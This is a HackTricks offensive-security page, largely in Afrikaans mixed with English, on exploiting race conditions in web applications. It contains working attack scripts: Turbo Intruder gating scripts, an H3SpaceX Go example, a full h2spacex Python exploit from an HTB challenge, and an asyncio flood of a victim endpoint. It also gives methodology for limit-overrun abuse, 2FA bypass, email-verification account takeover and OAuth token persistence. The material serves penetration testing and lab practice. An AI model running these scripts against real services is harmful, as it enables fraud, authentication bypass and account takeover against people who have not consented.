Race Condition

Reading time: 18 minutes

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

warning

Vir 'n diepgaande begrip van hierdie tegniek, sien die oorspronklike verslag by https://portswigger.net/research/smashing-the-state-machine

Enhancing Race Condition Attacks

Die hoofhindernis om voordeel te trek uit race conditions is om te verseker dat verskeie versoeke terselfdertyd verwerk word, met 'n baie klein verskil in hul verwerkingstye — idealiter minder as 1 ms.

Hier is 'n paar tegnieke om versoeke te sinkroniseer:

HTTP/2 Single-Packet Attack vs. HTTP/1.1 Last-Byte Synchronization

  • HTTP/2: Ondersteun die stuur van twee versoeke oor 'n enkele TCP-verbinding, wat die invloed van netwerkjitter verminder. Weens variasies aan die bedienerkant is twee versoeke egter moontlik nie genoeg vir 'n konsekwente race condition exploit nie.
  • HTTP/1.1 'Last-Byte Sync': Maak dit moontlik om die meeste dele van 20–30 versoeke vooraf te stuur, terwyl 'n klein fragment teruggehou word wat dan saam gestuur word, wat gelyktydige aankoms by die bediener bereik.

Preparation for Last-Byte Sync involves:

  1. Stuur headers en body-data minus die finale byte sonder om die stroom te beëindig.
  2. Pouseer vir 100 ms na die aanvanklike stuur.
  3. Deaktiveer TCP_NODELAY om Nagle's algorithm te gebruik vir die groepeer van finale frames.
  4. Ping om die verbinding op te warm.

Die daaropvolgende stuur van die teruggehou frames behoort te lei tot hul aankoms in 'n enkele pakket, verifieerbaar via Wireshark. Hierdie metode is nie van toepassing op statiese lĂȘers nie, wat gewoonlik nie by RC-aanvalle betrokke is nie.

HTTP/3 Last‑Frame Synchronization (QUIC)

  • Concept: HTTP/3 loop bo-op QUIC (UDP). Daar is geen TCP-koalessering of Nagle om op te vertrou nie, so klassieke last‑byte sync werk nie met van‑die‑rak‑af kliĂ«nte nie. In plaas daarvan moet jy doelbewus meerdere QUIC stream‑final DATA frames (FIN) saamvoeg in dieselfde UDP-datagram sodat die bediener alle teikenversoeke in dieselfde skedulerings‑tik kan verwerk.
  • How to do it: Gebruik 'n doelgerigte biblioteek wat QUIC framebeheer openbaar. Byvoorbeeld, H3SpaceX manipuleer quic-go om HTTP/3 last‑frame synchronization te implementeer vir beide requests met 'n body en GET‑styl versoeke sonder 'n body.
  • Requests‑with‑body: stuur HEADERS + DATA minus die laaste byte vir N streams, en spoel dan die finale byte van elke stroom saam uit.
  • GET‑style: vervaardig vals DATA-frames (of 'n klein body met Content‑Length) en beĂ«indig alle streams in een datagram.
  • Praktiese beperkings:
  • Gelyktydigheid word begrens deur die peer se QUIC max_streams transport-parameter (vergelykbaar met HTTP/2 se SETTINGS_MAX_CONCURRENT_STREAMS). As dit laag is, open meerdere H3-verbindinge en versprei die race oor hulle.
  • UDP-datagramgrootte en path MTU bepaal hoeveel stream‑final frames jy kan saamvoeg. Die biblioteek hanteer die splitsing in meerdere datagramme indien nodig, maar 'n enkele-datagram spoel is die betroubaarste.
  • Praktyk: Daar is openbare H2/H3 race-labs en voorbeeld-exploits wat H3SpaceX vergesel.
HTTP/3 last‑frame sync (Go + H3SpaceX) minimal example
go
package main
import (
"crypto/tls"
"context"
"time"
"github.com/nxenon/h3spacex"
h3 "github.com/nxenon/h3spacex/http3"
)
func main(){
tlsConf := &tls.Config{InsecureSkipVerify:true, NextProtos:[]string{h3.NextProtoH3}}
quicConf := &quic.Config{MaxIdleTimeout:10*time.Second, KeepAlivePeriod:10*time.Millisecond}
conn, _ := quic.DialAddr(context.Background(), "IP:PORT", tlsConf, quicConf)
var reqs []*http.Request
for i:=0;i<50;i++{ r,_ := h3.GetRequestObject("https://target/apply", "POST", map[string]string{"Cookie":"sess=...","Content-Type":"application/json"}, []byte(`{"coupon":"SAVE"}`)); reqs = append(reqs,&r) }
// keep last byte (1), sleep 150ms, set Content-Length
h3.SendRequestsWithLastFrameSynchronizationMethod(conn, reqs, 1, 150, true)
}

Aanpassing aan bediener-argitektuur

Dit is van kardinale belang om die teiken se argitektuur te verstaan. Front-end-bedieners kan versoeke anders lei, wat die tydigheid beĂŻnvloed. Voorkomende bedienerkant-verbindingverwarming deur onbeduidende versoeke kan versoektyd normaliseer.

Hantering van sessie-gebaseerde vergrendeling

Frameworks soos PHP's session handler serialiseer versoeke per sessie, wat moontlik kwesbaarhede kan verberg. Die gebruik van verskillende sessie-tokens vir elke versoek kan hierdie probleem omseil.

Oorkoming van koers- of hulpbronlimiete

As verbindingverwarming nie effektief is nie, kan jou webbedieners se koers- of hulpbronlimietvertraginge doelbewus veroorsaak deur 'n vloed van dummy-versoeke. Dit kan die single-packet attack vergemaklik deur 'n bedienerkantvertraging te veroorsaak wat gunstig is vir race conditions.

Attack Examples

  • Turbo Intruder - HTTP2 single-packet attack (1 endpoint): You can send the request to Turbo intruder (Extensions -> Turbo Intruder -> Send to Turbo Intruder), you can change in the request the value you want to brute force for %s like in csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s and then select the examples/race-single-packer-attack.py from the drop down:

If you are going to send different values, you could modify the code with this one that uses a wordlist from the clipboard:

python
passwords = wordlists.clipboard
for password in passwords:
engine.queue(target.req, password, gate='race1')

warning

Indien die web nie HTTP2 ondersteun (slegs HTTP1.1) gebruik Engine.THREADED of Engine.BURP in plaas van Engine.BURP2.

  • Turbo Intruder - HTTP2 single-packet attack (Several endpoints): Ingeval jy 'n request na 1 endpoint moet stuur en dan verskeie na ander endpoints om die RCE te trigger, kan jy die race-single-packet-attack.py script verander met iets soos:
python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2
)

# Hardcode the second request for the RC
confirmationReq = '''POST /confirm?token[]= HTTP/2
Host: 0a9c00370490e77e837419c4005900d0.web-security-academy.net
Cookie: phpsessionid=MpDEOYRvaNT1OAm0OtAsmLZ91iDfISLU
Content-Length: 0

'''

# For each attempt (20 in total) send 50 confirmation requests.
for attempt in range(20):
currentAttempt = str(attempt)
username = 'aUser' + currentAttempt

# queue a single registration request
engine.queue(target.req, username, gate=currentAttempt)

# queue 50 confirmation requests - note that this will probably sent in two separate packets
for i in range(50):
engine.queue(confirmationReq, gate=currentAttempt)

# send all the queued requests for this attempt
engine.openGate(currentAttempt)
  • Dit is ook beskikbaar in Repeater via die nuwe 'Send group in parallel' opsie in Burp Suite.
  • Vir limit-overrun kan jy net die same request 50 times by die groep voeg.
  • Vir connection warming, kan jy add aan die beginning van die group 'n paar requests na 'n nie-statiese deel van die webserver voeg.
  • Vir delaying die proses between verwerking van one request and another in 'n proses met 2 substates, kan jy add extra requests between albei requests.
  • Vir 'n multi-endpoint RC kan jy begin om die request te stuur wat goes to the hidden state en dan 50 requests net daarna wat die exploits the hidden state.
  • Automated python script: Die doel van hierdie script is om die e-pos van 'n gebruiker te verander terwyl dit voortdurend verifieer totdat die verification token van die nuwe e-pos by die laaste e-pos aankom (dit is omdat in die kode 'n RC gesien is waar dit moontlik was om 'n e-pos te wysig maar die verification na die ou een gestuur is omdat die veranderlike wat die e-pos aandui reeds met die eerste gevul was).
    Wanneer die woord "objetivo" in die ontvangde emails gevind word, weet ons ons het die verification token van die veranderde e-pos ontvang en ons beëindig die aanval.
python
# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
# Script from victor to solve a HTB challenge
from h2spacex import H2OnTlsConnection
from time import sleep
from h2spacex import h2_frames
import requests

cookie="session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiZXhwIjoxNzEwMzA0MDY1LCJhbnRpQ1NSRlRva2VuIjoiNDJhMDg4NzItNjEwYS00OTY1LTk1NTMtMjJkN2IzYWExODI3In0.I-N93zbVOGZXV_FQQ8hqDMUrGr05G-6IIZkyPwSiiDg"

# change these headers

headersObjetivo= """accept: */*
content-type: application/x-www-form-urlencoded
Cookie: "+cookie+"""
Content-Length: 112
"""

bodyObjetivo = 'email=objetivo%40apexsurvive.htb&username=estes&fullName=test&antiCSRFToken=42a08872-610a-4965-9553-22d7b3aa1827'

headersVerification= """Content-Length: 1
Cookie: "+cookie+"""
"""
CSRF="42a08872-610a-4965-9553-22d7b3aa1827"

host = "94.237.56.46"
puerto =39697


url = "https://"+host+":"+str(puerto)+"/email/"

response = requests.get(url, verify=False)


while "objetivo" not in response.text:

urlDeleteMails = "https://"+host+":"+str(puerto)+"/email/deleteall/"

responseDeleteMails = requests.get(urlDeleteMails, verify=False)
#print(response.text)
# change this host name to new generated one

Headers = { "Cookie" : cookie, "content-type": "application/x-www-form-urlencoded" }
data="email=test%40email.htb&username=estes&fullName=test&antiCSRFToken="+CSRF
urlReset="https://"+host+":"+str(puerto)+"/challenge/api/profile"
responseReset = requests.post(urlReset, data=data, headers=Headers, verify=False)

print(responseReset.status_code)

h2_conn = H2OnTlsConnection(
hostname=host,
port_number=puerto
)

h2_conn.setup_connection()

try_num = 100

stream_ids_list = h2_conn.generate_stream_ids(number_of_streams=try_num)

all_headers_frames = []  # all headers frame + data frames which have not the last byte
all_data_frames = []  # all data frames which contain the last byte


for i in range(0, try_num):
last_data_frame_with_last_byte=''
if i == try_num/2:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(  # noqa: E501
method='POST',
headers_string=headersObjetivo,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=bodyObjetivo,
path='/challenge/api/profile'
)
else:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(
method='GET',
headers_string=headersVerification,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=".",
path='/challenge/api/sendVerification'
)

all_headers_frames.append(header_frames_without_last_byte)
all_data_frames.append(last_data_frame_with_last_byte)


# concatenate all headers bytes
temp_headers_bytes = b''
for h in all_headers_frames:
temp_headers_bytes += bytes(h)

# concatenate all data frames which have last byte
temp_data_bytes = b''
for d in all_data_frames:
temp_data_bytes += bytes(d)

h2_conn.send_bytes(temp_headers_bytes)

# wait some time
sleep(0.1)

# send ping frame to warm up connection
h2_conn.send_ping_frame()

# send remaining data frames
h2_conn.send_bytes(temp_data_bytes)

resp = h2_conn.read_response_from_socket(_timeout=3)
frame_parser = h2_frames.FrameParser(h2_connection=h2_conn)
frame_parser.add_frames(resp)
frame_parser.show_response_of_sent_requests()

print('---')

sleep(3)
h2_conn.close_connection()

response = requests.get(url, verify=False)

Turbo Intruder: enjin- en gating-notas

  • Enjin-keuse: gebruik Engine.BURP2 op HTTP/2-teikens om die single‑packet attack te aktiveer; val terug op Engine.THREADED of Engine.BURP vir HTTP/1.1 last‑byte sync.
  • gate/openGate: plaas baie kopieĂ« in die ry met gate='race1' (of per‑attempt gates), wat die staart van elke versoek terughou; openGate('race1') spoel al die staarts saam uit sodat dit byna gelyktydig aankom.
  • Diagnostiek: negatiewe tydstempels in Turbo Intruder dui daarop dat die bediener geantwoord het voordat die versoek volledig gestuur is, wat oorlap bewys. Dit is te verwag in ware races.
  • Verbinding-opwarming: stuur eers 'n ping of 'n paar onskadelike versoeke om die tydsberekening te stabiliseer; skakel opsioneel TCP_NODELAY af om die laaste frames te laat saampak.

Improving Single Packet Attack

In die oorspronklike navorsing word verduidelik dat hierdie attack 'n limiet van 1,500 bytes het. In hierdie pos is egter beskryf hoe dit moontlik is om die 1,500‑byte beperking van die single packet attack uit te brei na die 65,535 B vensterlimiet van TCP deur gebruik te maak van IP‑laag fragmentasie (die opsplitsing van 'n enkele pakket in meerdere IP‑pakkette) en dit in 'n ander volgorde te stuur, wat verhoed dat die pakket saamgestel word totdat al die fragmente by die bediener aangekom het. Hierdie tegniek het die navorser in staat gestel om 10,000 versoeke in sowat 166 ms te stuur.

Let wel dat hoewel hierdie verbetering die attack meer betroubaar maak in RC's wat honderde/duisende pakkette benodig om terselfdertyd aan te kom, dit ook sagteware‑beperkings kan hĂȘ. Sommige gewilde HTTP-bedieners soos Apache, Nginx en Go het 'n streng SETTINGS_MAX_CONCURRENT_STREAMS instelling van onderskeidelik 100, 128 en 250. Ander soos NodeJS en nghttp2 het dit onbeperk.
Dit beteken basies dat Apache slegs 100 HTTP‑verbindinge vanaf 'n enkele TCP‑verbinding sal oorweeg (wat hierdie RC‑attack beperk). Vir HTTP/3 is die analoog QUIC se max_streams transporparameter — as dit klein is, versprei jou race oor meerdere QUIC‑verbindinge.

You can find some examples using this technique in the repo https://github.com/Ry0taK/first-sequence-sync/tree/main.

Raw BF

Voor daardie navorsing was dit 'n paar payloads wat gebruik is wat net probeer het om die pakkette so vinnig as moontlik te stuur om 'n RC te veroorsaak.

  • Repeater: Kyk na die voorbeelde in die vorige afdeling.
  • Intruder: Stuur die versoek na Intruder, stel die aantal threads op 30 in die Options‑menu, kies as payload Null payloads en genereer 30.
  • Turbo Intruder
python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
pipeline=False
)
a = ['Session=<session_id_1>','Session=<session_id_2>','Session=<session_id_3>']
for i in range(len(a)):
engine.queue(target.req,a[i], gate='race1')
# open TCP connections and send partial requests
engine.start(timeout=10)
engine.openGate('race1')
engine.complete(timeout=60)

def handleResponse(req, interesting):
table.add(req)
  • Python - asyncio
python
import asyncio
import httpx

async def use_code(client):
resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"})
return resp.text

async def main():
async with httpx.AsyncClient() as client:
tasks = []
for _ in range(20): #20 times
tasks.append(asyncio.ensure_future(use_code(client)))

# Get responses
results = await asyncio.gather(*tasks, return_exceptions=True)

# Print results
for r in results:
print(r)

# Async2sync sleep
await asyncio.sleep(0.5)
print(results)

asyncio.run(main())

RC Methodology

Limit-overrun / TOCTOU

Dit is die mees basiese tipe race condition waar kwesbaarhede verskyn op plekke wat die aantal kere beperk waarop jy 'n aksie kan uitvoer. Soos om dieselfde afslagkode in 'n webwinkel verskeie kere te gebruik. 'n Baie eenvoudige voorbeeld kan gevind word in this report of in this bug.

Daar is baie variasies van hierdie tipe aanval, insluitend:

  • Redeeming a gift card multiple times
  • Rating a product multiple times
  • Withdrawing or transferring cash in excess of your account balance
  • Reusing a single CAPTCHA solution
  • Bypassing an anti-brute-force rate limit

Verborge subtoestande

Eksploiteer van komplekse race conditions behels dikwels die benutting van kortgeleë geleenthede om met verborge of onbedoelde masjien-subtoestande te interaksieer. So benader dit:

  1. Identify Potential Hidden Substates
  • Begin deur endpoints te identifiseer wat kritieke data wysig of hanteer, soos user profiles of password reset processes. Fokus op:
  • Storage: Prefer endpoints that manipulate server-side persistent data over those handling data client-side.
  • Action: Look for operations that alter existing data, which are more likely to create exploitable conditions compared to those that add new data.
  • Keying: Successful attacks usually involve operations keyed on the same identifier, e.g., username or reset token.
  1. Conduct Initial Probing
  • Toets die geĂŻdentifiseerde endpoints met race condition-aanvalle en let op enige afwykings van verwagte uitkomste. Onverwagte antwoorde of veranderinge in toepassingsgedrag kan op 'n kwesbaarheid dui.
  1. Demonstrate the Vulnerability
  • Beperk die aanval tot die minimale aantal versoeke wat nodig is om die kwesbaarheid uit te buit, dikwels net twee. Hierdie stap mag herhaalde pogings of outomatisering verg weens die presiese tyding wat benodig word.

Time Sensitive Attacks

Presisie in die tyding van versoeke kan kwesbaarhede openbaar, veral wanneer voorspelbare metodes soos timestamps gebruik word vir security tokens. Byvoorbeeld, die genereer van password reset tokens gebaseer op timestamps kan identiese tokens toelaat vir gelyktydige versoeke.

To Exploit:

  • Gebruik presiese tyding, soos 'n single packet attack, om concurrent password reset requests te stuur. Identiese tokens dui op 'n kwesbaarheid.

Example:

  • Versoek twee password reset tokens terselfdertyd en vergelyk hulle. Gelykende tokens dui op 'n fout in token generation.

Check this PortSwigger Lab to try this.

Gevallestudies van verborge subtoestande

Pay & add an Item

Check this PortSwigger Lab to see how to pay in a store and add an extra item you that won't need to pay for it.

Confirm other emails

Die idee is om 'n email address te verify en dit tegelykertyd na 'n ander een te verander om uit te vind of die platform die nuwe veranderde adres verifieer.

Volgens this research was Gitlab kwesbaar vir 'n takeover op hierdie wyse omdat dit moontlik die email verification token van een email na die ander kon stuur.

Check this PortSwigger Lab to try this.

Hidden Database states / Confirmation Bypass

As 2 different writes gebruik word om inligting by 'n databasis te voeg, is daar 'n klein tydspan waar slegs die eerste data geskryf is in die databasis. Byvoorbeeld, wanneer 'n gebruiker geskep word, kan die username en password geskryf word en daarna die token om die nuutgeskepte rekening te bevestig. Dit beteken dat vir 'n kort tyd die token to confirm an account is null.

Daarom kan die registrasie van 'n rekening en die stuur van verskeie versoeke met 'n leë token (token= or token[]= or any other variation) om die rekening onmiddellik te bevestig, toelaat om 'n rekening te confirm waarvoor jy nie die email beheer nie.

Check this PortSwigger Lab to try this.

Bypass 2FA

Die volgende pseudo-code is kwesbaar vir race condition omdat in 'n baie klein tydspan die 2FA is not enforced terwyl die session geskep word:

python
session['userid'] = user.userid
if user.mfa_enabled:
session['enforce_mfa'] = True
# generate and send MFA code to user
# redirect browser to MFA code entry form

OAuth2 ewige persistentie

Daar is verskeie OAUth providers. Hierdie dienste laat jou toe om 'n application te skep en gebruikers te autentiseer wat deur die provider geregistreer is. Om dit te doen, sal die client die permit your application nodig hĂȘ om toegang tot 'n deel van hul data binne die OAUth provider te kry.
Dus, tot hier net 'n gewone aanmelding met google/linkedin/github... waar jy 'n bladsy kry wat sĂȘ: "Application wants to access you information, do you want to allow it?"

Race Condition in authorization_code

Die problem verskyn wanneer jy dit accept it en dit outomaties 'n authorization_code na die kwaadwillige application stuur. Daarna misbruik hierdie application die feit dat jy die toepassing toegelaat het om jou data te sien en die application abuses a Race Condition in the OAUth service provider to generate more that one AT/RT (Authentication Token/Refresh Token) vanaf die authorization_code vir jou rekening. Basies sal dit create several accounts. Dan, as jy stop allowing the application to access your data one pair of AT/RT will be deleted, but the other ones will still be valid

Race Condition in Refresh Token

Sodra jy obtained a valid RT het, kan jy probeer abuse it to generate several AT/RT, en selfs as die gebruiker even if the user cancels the permissions vir die kwaadwillige application om toegang tot sy data te kry, sal several RTs will still be valid.

RC in WebSockets

  • In WS_RaceCondition_PoC vind jy 'n PoC in Java om websocket boodskappe in parallel te stuur om Race Conditions also in Web Sockets te misbruik.
  • Met Burp’s WebSocket Turbo Intruder kan jy die THREADED engine gebruik om veelvuldige WS‑verbindinge te skep en payloads parallel te stuur. Begin by die amptelike voorbeeld en stel config() (thread count) vir concurrency af; dit is dikwels meer betroubaar as om op 'n enkele verbinding te batche wanneer jy server‑side state oor WS handlers probeer race. Sien RaceConditionExample.py.

Verwysings

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks